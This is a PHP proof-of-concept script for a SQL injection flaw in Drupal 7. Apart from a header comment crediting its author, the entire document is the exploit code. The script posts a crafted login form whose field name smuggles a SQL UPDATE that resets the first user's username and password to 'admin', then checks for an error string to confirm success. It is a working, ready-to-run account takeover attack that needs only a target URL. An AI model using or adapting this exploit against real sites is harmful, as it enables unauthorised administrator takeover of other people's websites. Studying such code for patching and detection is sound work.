Drupal 7.x SQL Injection

`<?php  
/********************************************************  
* Drupal 7 SQL Injection vulnerability demo  
* Created by Milan Kragujevic (of milankragujevic.com)  
* Read more at http://milankragujevic.com/post/66  
* This will change the first user's username to admin  
* and their password to admin  
* Change $url to the website URL  
********************************************************/  
$url = '[URL HERE]'; // URL of the website (http://domain.com/)  
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";  
  
$params = array(  
'http' => array(  
'method' => 'POST',  
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",  
'content' => $post_data  
)  
);  
$ctx = stream_context_create($params);  
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);  
  
if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {  
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";  
} else {  
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";  
}  
  
`